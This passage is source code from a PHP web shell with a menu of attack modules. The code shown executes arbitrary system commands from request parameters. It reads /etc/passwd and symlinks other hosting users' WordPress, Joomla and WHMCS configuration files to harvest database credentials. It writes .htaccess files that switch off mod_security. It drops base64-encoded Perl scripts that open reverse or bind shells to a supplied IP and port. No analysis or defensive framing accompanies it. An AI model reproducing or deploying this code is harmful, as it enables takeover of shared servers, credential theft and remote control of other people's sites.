echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Command Execution</span><center><br>';
echo '
<form method=get action="'.$me.'">
<p>
<textarea class="area" rows="17" name="S1" cols="70" >';
if (strlen($_GET['command'])>1 && $_GET['execmethod']!="popen"){
echo $_GET['execmethod']($_GET['command']);}
if (strlen($_POST['command'])>1 && $_POST['execmethod']!="popen"){
echo $_POST['execmethod']($_POST['command']);}

if (strlen($_GET['command'])>1 && $_GET['execmethod']=="popen"){
popen($_GET['command'],"r");}

echo'</textarea></p><br><p align="center">
<input type=hidden name="vw" size="50" value="cmd"> <input type="text" name="command" size="43"> <select name=execmethod>
  <option value="system">System</option>  <option value="exec">Exec</option>  <option value="passthru">Passthru</option><option value="popen">popen</option>
</select> <input type="submit" value="Execute">
</p></form>';

}
if(isset($_GET['action']) && $_GET['action'] == 'com64'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Base64 Command</span><center><br>';
echo '  <tr>
    <td width="100%" height="1">';
if (empty($_POST['fak'])){
echo '<form method="POST"><input type="text" name="fak" size="70" value="/home/user/public_html/index.php"> <input type="submit" value="Encode"></form><br>';
}else{
$b4se64 =$_POST['fak'];
$heno =base64_encode($b4se64);
echo '<p align="center">';
echo '<textarea method="POST" rows="1" cols="60" wrar="off">';
print $heno;
echo '</textarea>';
}
echo '<form method="post" /><input type="text" name="coz" size="43" value="L2V0Yy9wYXNzd2Q=" /> <input type="submit" value="Execute" /> <select name=dec><option value=show>Read</option><option value=decode>Command</option></select></form><br>';
if( !empty($_POST['coz']) )
if ($dec=='decode'){echo '<form name=form method=POST>';}
echo "<p align=center><textarea class='area' method='POST' name='codene' cols='70' rows='15' wrar='off' >";
$ss=$_POST['coz'];
$file = base64_decode($ss);
if((curl_exec(curl_init('file:ftp://../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../../'.$file))) and empty($file))
if ($_POST['dec']=='decode'){echo base64_encode($_POST['codene']);}
echo '</textarea></p>';
echo '</td>
</tr>';

}
if(isset($_GET['action']) && $_GET['action'] == 'vgrab'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo "<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>Config Grabber</span>";?></center><br><center><?php if (empty($_POST['config'])) { ?><p><font face="Tahoma" color="#007700" size="2pt">/etc/passwd content</p><br><form method="POST"><textarea name="passwd" class='area' rows='15' cols='60'><?php echo file_get_contents('/etc/passwd'); ?></textarea><br><br><input name="config" class='inputzbut' size="100" value="Fvck'em!" type="submit"><br></form></center><br><?php }if ($_POST['config']) {$function = $functions=@ini_get("disable_functions");if(eregi("symlink",$functions)){die ('<error>Symlink is disabled :( </error>');}@mkdir('vwconfig', 0755);@chdir('vwconfig');
$htaccess="
OPTIONS Indexes FollowSymLinks SymLinksIfOwnerMatch Includes IncludesNOEXEC ExecCGI
Options Indexes FollowSymLinks
ForceType text/plain
AddType text/plain .php 
AddType text/plain .html
AddType text/html .shtml
AddType txt .php
AddHandler server-parsed .php
AddHandler txt .php
AddHandler txt .html
AddHandler txt .shtml
Options All
Options All";
file_put_contents(".htaccess",$htaccess,FILE_APPEND);$passwd=$_POST["passwd"];$passwd=explode("
",$passwd);echo "<br><br><center><font color=#b0b000 size=2pt>wait ...</center><br>";foreach($passwd as $pwd){$pawd=explode(":",$pwd);$user =$pawd[0];@symlink('/home/'.$user.'/public_html/wp-config.php',$user.'-wp13.txt');@symlink('/home/'.$user.'/public_html/wp/wp-config.php',$user.'-wp13-wp.txt');@symlink('/home/'.$user.'/public_html/WP/wp-config.php',$user.'-wp13-WP.txt');@symlink('/home/'.$user.'/public_html/wp/beta/wp-config.php',$user.'-wp13-wp-beta.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp13-beta.txt');@symlink('/home/'.$user.'/public_html/press/wp-config.php',$user.'-wp13-press.txt');@symlink('/home/'.$user.'/public_html/wordpress/wp-config.php',$user.'-wp13-wordpress.txt');@symlink('/home/'.$user.'/public_html/Wordpress/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp13-Wordpress.txt');@symlink('/home/'.$user.'/public_html/config.php',$user.'-configgg.txt');@symlink('/home/'.$user.'/public_html/news/wp-config.php',$user.'-wp13-news.txt');@symlink('/home/'.$user.'/public_html/new/wp-config.php',$user.'-wp13-new.txt');@symlink('/home/'.$user.'/public_html/blog/wp-config.php',$user.'-wp-blog.txt');@symlink('/home/'.$user.'/public_html/beta/wp-config.php',$user.'-wp-beta.txt');@symlink('/home/'.$user.'/public_html/blogs/wp-config.php',$user.'-wp-blogs.txt');@symlink('/home/'.$user.'/public_html/home/wp-config.php',$user.'-wp-home.txt');@symlink('/home/'.$user.'/public_html/db.php',$user.'-dbconf.txt');@symlink('/home/'.$user.'/public_html/site/wp-config.php',$user.'-wp-site.txt');@symlink('/home/'.$user.'/public_html/main/wp-config.php',$user.'-wp-main.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-wp-test.txt');@symlink('/home/'.$user.'/public_html/joomla/configuration.php',$user.'-joomla2.txt');@symlink('/home/'.$user.'/public_html/portal/configuration.php',$user.'-joomla-protal.txt');@symlink('/home/'.$user.'/public_html/joo/configuration.php',$user.'-joo.txt');@symlink('/home/'.$user.'/public_html/cms/configuration.php',$user.'-joomla-cms.txt');@symlink('/home/'.$user.'/public_html/site/configuration.php',$user.'-joomla-site.txt');@symlink('/home/'.$user.'/public_html/main/configuration.php',$user.'-joomla-main.txt');@symlink('/home/'.$user.'/public_html/news/configuration.php',$user.'-joomla-news.txt');@symlink('/home/'.$user.'/public_html/new/configuration.php',$user.'-joomla-new.txt');@symlink('/home/'.$user.'/public_html/home/configuration.php',$user.'-joomla-home.txt');@symlink('/home/'.$user.'/public_html/vb/includes/config.php',$user.'-vb-config.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm15.txt');@symlink('/home/'.$user.'/public_html/central/configuration.php',$user.'-whm-central.txt');@symlink('/home/'.$user.'/public_html/whm/whmcs/configuration.php',$user.'-whm-whmcs.txt');@symlink('/home/'.$user.'/public_html/whm/WHMCS/configuration.php',$user.'-whm-WHMCS.txt');@symlink('/home/'.$user.'/public_html/whmc/WHM/configuration.php',$user.'-whmc-WHM.txt');@symlink('/home/'.$user.'/public_html/whmcs/configuration.php',$user.'-whmcs.txt');@symlink('/home/'.$user.'/public_html/support/configuration.php',$user.'-support.txt');@symlink('/home/'.$user.'/public_html/configuration.php',$user.'-joomla.txt');@symlink('/home/'.$user.'/public_html/submitticket.php',$user.'-whmcs2.txt');@symlink('/home/'.$user.'/public_html/whm/configuration.php',$user.'-whm.txt');}echo '<b class="cone"><font face="Tahoma" color="#00dd00" size="2pt"><b>Done -></b> <a target="_blank" href="vwconfig">Open configs</a></font></b>';}
}
if(isset($_GET['action']) && $_GET['action'] == 'cari'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Find Directory Writable/Readable</span></center><br><br>'.$end; function read_dir($path) { global $count; if ($handle = opendir($path)) { while (false !== ($file = readdir($handle))) { $dr="$path$file/"; if (($file!='.') and ($file!='..') and is_dir($dr)) { if (is_readable($dr) and is_writeable($dr)) { echo "[RW] " . $dr . "<br>

"; $count++; } read_dir($dr); }}}} $count=0; set_time_limit(0); @$passwd=fopen('/etc/passwd','r'); if (!$passwd) { echo "<br><center><font color='#ff0000' size='2pt' />[-] No Access to /etc/passwd

</center>"; exit;} $path_to_public=array(); echo "<html><center><table style='margin: 0 auto;'><tr valign='top'><td align='left'><font color='#007700' size='2pt' />

"; while(!feof($passwd)) { $str=fgets($passwd); $pos=strpos($str,":"); $username=substr($str,0,$pos); $dirz="/home/$username/public_html/"; if (($username!="")) { if (is_readable($dirz)) { array_push($path_to_public,$dirz); if (is_writeable($dirz)) { $count++; echo "<font color=white>[</font><font color=yellow>R</font><font color=green>W</font><font color=white>]</font> " . $dirz . "<br><br><br>

";} else echo "<font color=white>[</font><font color=yellow>R</font><font color=white>]</font> " . $dirz . "<br>

"; }}} echo "<br><br><font color=white size=2pt>[+]</font> <font color=#00dd00 size=2pt>Found </font><font color=yellow size=2pt>" . sizeof($path_to_public) . "</font> <font color=#00dd00 size=2pt>readable public_html directories.</font><br><br>


"; if (sizeof($path_to_public) != '0') { foreach ($path_to_public as $path) { } echo "<font color=white size=2pt>[+]</font> <font color=#00dd00 size=2pt>Found</font><font color=yellow size=2pt> " . $count . " </font><font color=#00dd00 size=2pt>writable directories.</font>

"; echo "</td></tr></table></center></html>";
}

}
if(isset($_GET['action']) && $_GET['action'] == 'mysqslsls'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo"<br><center><span style='font-size:30px; font-family:Fredericka the Great; color:#009900'>MySQL & PostgreSql Connect</span><br><div class=content> 
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr> 
<td><font face='Tahoma' color='#007700' size='2pt' />Type</td><td><font face='Tahoma' color='#007700' size='2pt' />Host</td><td><font face='Tahoma' color='#007700' size='2pt' />Login</td><td><font face='Tahoma' color='#007700' size='2pt' />Password</td><td><font face='Tahoma' color='#007700' size='2pt' />Database</td><td></td></font></tr><tr> 
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='". htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='". (isset($_POST['charset'])?$_POST['charset']:'') ."'> 
<center><td><select name='type'><option value='mysql' "; 
if(@$_POST['type']=='mysql')echo 'selected'; 
echo ">MySql</option><option value='pgsql' "; 
if(@$_POST['type']=='pgsql')echo 'selected'; 
echo ">PostgreSql</option></select></td> 
<td><input type=text name=sql_host value='". (empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."'></td> 
<td><input type=text name=sql_login value='". (empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."'></td> 
<td><input type=text name=sql_pass value='". (empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."'></td><td>"; 
$tmp = "<input type=text name=sql_base value=''>"; 
if(isset($_POST['sql_host'])){ 
if($db->connect($_POST['sql_host'], $_POST['sql_login'], $_POST['sql_pass'], $_POST['sql_base'])) { 
switch($_POST['charset']) { 
case "Windows-1251": $db->setCharset('cp1251'); break; 
case "UTF-8": $db->setCharset('utf8'); break; 
case "KOI8-R": $db->setCharset('koi8r'); break; 
case "KOI8-U": $db->setCharset('koi8u'); break; 
case "cp866": $db->setCharset('cp866'); break; 
} 
$db->listDbs(); 
echo "<select name=sql_base><option value=''></option>"; 
while($item = $db->fetch()) { 
list($key, $value) = each($item); 
echo '<option value="'.$value.'" '.($value==$_POST['sql_base']?'selected':'').'>'.$value.'</option>'; 
} 
echo '</select>'; 
} 
else echo $tmp; 
}else
echo $tmp; 
echo "</td> 
  
<td><input type=submit value='>>' onclick='fs(d.sf);'></td> 
<td><input type=checkbox name=sql_count value='on'" . (empty($_POST['sql_count'])?'':' checked') . "> <font face='Tahoma' color='#007700' size='2pt' />count the number of rows</td></center> <br>
</tr> 
</table> <br>
<script> 
s_db='".@addslashes($_POST['sql_base'])."'; 
function fs(f) { 
if(f.sql_base.value!=s_db) { f.onsubmit = function() {}; 
if(f.p1) f.p1.value=''; 
if(f.p2) f.p2.value=''; 
if(f.p3) f.p3.value=''; 
} 
} 
function st(t,l) { 
d.sf.p1.value = 'select'; 
d.sf.p2.value = t; 
if(l && d.sf.p3) d.sf.p3.value = l; 
d.sf.submit(); 
} 
function is() { 
for(i=0;i<d.sf.elements['tbl[]'].length;++i) 
d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked; 
} 
</script>"; 
if(isset($db) && $db->link){ 
echo "<br/><table width=100% cellpadding=2 cellspacing=0>"; 
if(!empty($_POST['sql_base'])){ 
$db->selectdb($_POST['sql_base']); 
echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>"; 
$tbls_res = $db->listTables(); 
while($item = $db->fetch($tbls_res)) { 
list($key, $value) = each($item); 
if(!empty($_POST['sql_count'])) 
$n = $db->fetch($db->query('SELECT COUNT(*) as n FROM '.$value.'')); 
$value = htmlspecialchars($value); 
echo "<nobr><input type='checkbox' name='tbl[]' value='".$value."'>&nbsp;<a href=# onclick=\"st('".$value."',1)\">".$value."</a>" . (empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") . "</nobr><br>"; 
} 
echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>"; 
if(@$_POST['p1'] == 'select') { 
$_POST['p1'] = 'query'; 
$_POST['p3'] = $_POST['p3']?$_POST['p3']:1; 
$db->query('SELECT COUNT(*) as n FROM ' . $_POST['p2']); 
$num = $db->fetch(); 
$pages = ceil($num['n'] / 30); 
echo "<script>d.sf.onsubmit=function(){st(\"" . $_POST['p2'] . "\", d.sf.p3.value)}</script><span>".$_POST['p2']."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" . ((int)$_POST['p3']) . ">"; 
echo " of $pages"; 
if($_POST['p3'] > 1) 
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']-1) . ")'>&lt; Prev</a>"; 
if($_POST['p3'] < $pages) 
echo " <a href=# onclick='st(\"" . $_POST['p2'] . '", ' . ($_POST['p3']+1) . ")'>Next &gt;</a>"; 
$_POST['p3']--; 
if($_POST['type']=='pgsql') 
$_POST['p2'] = 'SELECT * FROM '.$_POST['p2'].' LIMIT 30 OFFSET '.($_POST['p3']*30); 
else
$_POST['p2'] = 'SELECT * FROM `'.$_POST['p2'].'` LIMIT '.($_POST['p3']*30).',30'; 
echo "<br><br>"; 
} 
if((@$_POST['p1'] == 'query') && !empty($_POST['p2'])) { 
$db->query(@$_POST['p2']); 
if($db->res !== false) { 
$title = false; 
echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">'; 
$line = 1; 
while($item = $db->fetch())  { 
if(!$title) { 
echo '<tr>'; 
foreach($item as $key => $value) 
echo '<th>'.$key.'</th>'; 
reset($item); 
$title=true; 
echo '</tr><tr>'; 
$line = 2; 
} 
echo '<tr class="l'.$line.'">'; 
$line = $line==1?2:1; 
foreach($item as $key => $value) { 
if($value == null) 
echo '<td><i>null</i></td>'; 
else
echo '<td>'.nl2br(htmlspecialchars($value)).'</td>'; 
} 
echo '</tr>'; 
} 
echo '</table>'; 
} else { 
echo '<div><b>Error:</b> '.htmlspecialchars($db->error()).'</div>'; 
} 
} 
echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>"; 
if(!empty($_POST['p2']) && ($_POST['p1'] != 'loadfile')) 
echo htmlspecialchars($_POST['p2']); 
echo "</textarea><br/><input type=submit value='Execute'>"; 
echo "</td></tr>"; 
} 
echo "</table></form></center><br/>"; 
if($_POST['type']=='mysql') { 
$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'"); 
if($db->fetch()) 
echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>"; 
} 
if(@$_POST['p1'] == 'loadfile') { 
$file = $db->loadFile($_POST['p2']); 
echo '<pre class=ml1>'.htmlspecialchars($file['file']).'</pre>'; 
} 
} else { 
echo htmlspecialchars($db->error()); 
} 
echo '</div>'; 
wsoFooter(); 
} 

if(isset($_GET['action']) && $_GET['action'] == 'beko'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Back Connect</span><center><br>';
if ($_REQUEST['cdirname']){
if(mkdir($_REQUEST['cdirname'],"0777")){alert("Directory Created !");}else{alert("Permission Denied !");}}
function bcn($ipbc,$pbc){
$bcperl="IyEvdXNyL2Jpbi9wZXJsCiMgQ29ubmVjdEJhY2tTaGVsbCBpbiBQZXJsLiBTaGFkb3cxMjAgLSB3
NGNrMW5nLmNvbQoKdXNlIFNvY2tldDsKCiRob3N0ID0gJEFSR1ZbMF07CiRwb3J0ID0gJEFSR1Zb
MV07CgogICAgaWYgKCEkQVJHVlswXSkgewogIHByaW50ZiAiWyFdIFVzYWdlOiBwZXJsIHNjcmlw
dC5wbCA8SG9zdD4gPFBvcnQ+XG4iOwogIGV4aXQoMSk7Cn0KcHJpbnQgIlsrXSBDb25uZWN0aW5n
IHRvICRob3N0XG4iOwokcHJvdCA9IGdldHByb3RvYnluYW1lKCd0Y3AnKTsgIyBZb3UgY2FuIGNo
YW5nZSB0aGlzIGlmIG5lZWRzIGJlCnNvY2tldChTRVJWRVIsIFBGX0lORVQsIFNPQ0tfU1RSRUFN
LCAkcHJvdCkgfHwgZGllICgiWy1dIFVuYWJsZSB0byBDb25uZWN0ICEiKTsKaWYgKCFjb25uZWN0
KFNFUlZFUiwgcGFjayAiU25BNHg4IiwgMiwgJHBvcnQsIGluZXRfYXRvbigkaG9zdCkpKSB7ZGll
KCJbLV0gVW5hYmxlIHRvIENvbm5lY3QgISIpO30KICBvcGVuKFNURElOLCI+JlNFUlZFUiIpOwog
IG9wZW4oU1RET1VULCI+JlNFUlZFUiIpOwogIG9wZW4oU1RERVJSLCI+JlNFUlZFUiIpOwogIGV4
ZWMgeycvYmluL3NoJ30gJy1iYXNoJyAuICJcMCIgeCA0Ow==";
$opbc=fopen("bcc.pl","w");
fwrite($opbc,base64_decode($bcperl));
fclose($opbc);
system("perl bcc.pl $ipbc $pbc") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function wbp($wb){
$wbp="dXNlIFNvY2tldDsKJHBvcnQJPSAkQVJHVlswXTsKJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3Rj
cCcpOwpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKTsKc2V0c29j
a29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JFVVNFQUREUiwgcGFjaygibCIsIDEpKTsKYmlu
ZChTRVJWRVIsIHNvY2thZGRyX2luKCRwb3J0LCBJTkFERFJfQU5ZKSk7Cmxpc3RlbihTRVJWRVIs
IFNPTUFYQ09OTik7CmZvcig7ICRwYWRkciA9IGFjY2VwdChDTElFTlQsIFNFUlZFUik7IGNsb3Nl
IENMSUVOVCkKewpvcGVuKFNURElOLCAiPiZDTElFTlQiKTsKb3BlbihTVERPVVQsICI+JkNMSUVO
VCIpOwpvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7CnN5c3RlbSgnY21kLmV4ZScpOwpjbG9zZShT
VERJTik7CmNsb3NlKFNURE9VVCk7CmNsb3NlKFNUREVSUik7Cn0g";
$opwb=fopen("wbp.pl","w");
fwrite($opwb,base64_decode($wbp));
fclose($opwb);
echo getcwd();
system("perl wbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}
function lbp($wb){
$lbp="IyEvdXNyL2Jpbi9wZXJsCnVzZSBTb2NrZXQ7JHBvcnQ9JEFSR1ZbMF07JHByb3RvPWdldHByb3Rv
YnluYW1lKCd0Y3AnKTskY21kPSJscGQiOyQwPSRjbWQ7c29ja2V0KFNFUlZFUiwgUEZfSU5FVCwg
U09DS19TVFJFQU0sICRwcm90byk7c2V0c29ja29wdChTRVJWRVIsIFNPTF9TT0NLRVQsIFNPX1JF
VVNFQUREUiwgcGFjaygibCIsIDEpKTtiaW5kKFNFUlZFUiwgc29ja2FkZHJfaW4oJHBvcnQsIElO
QUREUl9BTlkpKTtsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pO2Zvcig7ICRwYWRkciA9IGFjY2Vw
dChDTElFTlQsIFNFUlZFUik7IGNsb3NlIENMSUVOVCl7b3BlbihTVERJTiwgIj4mQ0xJRU5UIik7
b3BlbihTVERPVVQsICI+JkNMSUVOVCIpO29wZW4oU1RERVJSLCAiPiZDTElFTlQiKTtzeXN0ZW0o
Jy9iaW4vc2gnKTtjbG9zZShTVERJTik7Y2xvc2UoU1RET1VUKTtjbG9zZShTVERFUlIpO30g";
$oplb=fopen("lbp.pl","w");
fwrite($oplb,base64_decode($lbp));
fclose($oplb);
system("perl lbp.pl $wb") or die("I Can Not Execute Command For Back Connect Disable_functions Or Safe Mode");
}

if($_REQUEST['portbw']){
wbp($_REQUEST['portbw']);

}if($_REQUEST['portbl']){
lbp($_REQUEST['portbl']);
}
if($_REQUEST['ipcb'] && $_REQUEST['portbc']){
bcn($_REQUEST['ipcb'],$_REQUEST['portbc']);

}
echo "<p align='center'><font face='Tahoma' color='#007700' size='2pt' /><p align='center'><br>Ip : <input type=text name=ipcb value=".$_SERVER['REMOTE_ADDR'] ."> Port : <input type=text name=portbc value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'><p align='center'><br><font face='Tahoma' color='#009900' size='2pt'> Windows Bind Port</font> <br>Port : <input type=text name=portbw value=5555> <input type=submit value=Connect></form>".$formp."<p align='center'> <br><font face='Tahoma' color='#009900' size='2pt'>Linux Bind Port</font> <br>Port : <input type=text name=portbl value=5555> <input type=submit value=Connect></form><br><br>".$end;exit;
}
if(isset($_GET['action']) && $_GET['action'] == 'rubybckconnnect'){
echo '<center><b class="conte">
<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
<a href="?action=cmd">Command Execution</a> -
<a href="?action=com64">Base64 Command</a> -
<a href="?action=vgrab">Config Grabber</a> -
<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -    
<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
<a href="?action=cari">Find Directory Writable/Readable</a> -
<a href="?action=zonh">Zone-h Notifier</a> -
<a href="?action=shhhshell">Shtml Command Shell</a> -
<a href="?action=beko">Back connect Simple</a> -
<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
<a href="?action=prlbckacnonect">Perl BackConnect</a> -
<a href="?action=pythnonbakcncete">Python BackConnect</a> -
<a href="?action=exploit">Exploit</a> -
<a href="?action=whmcskillrer">Whcms Killer</a> -
<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
</center>
</b>';
mkdir('rubrub', 0755);
chdir('rubrub');
$antinoooob = ".htaccess";
$morethannn = "$antinoooob";
$diamondd = fopen ($morethannn , 'w') or die ("diamondd a&#231;&#305;lamad&#305;!");
$gloryr = "<IfModule mod_security.c>
SecFilterEngine Off
SecFilterScanPOST Off
</IfModule>";    
fwrite ( $diamondd , $gloryr ) ;
fclose ($diamondd);
//extract ruby reverse script
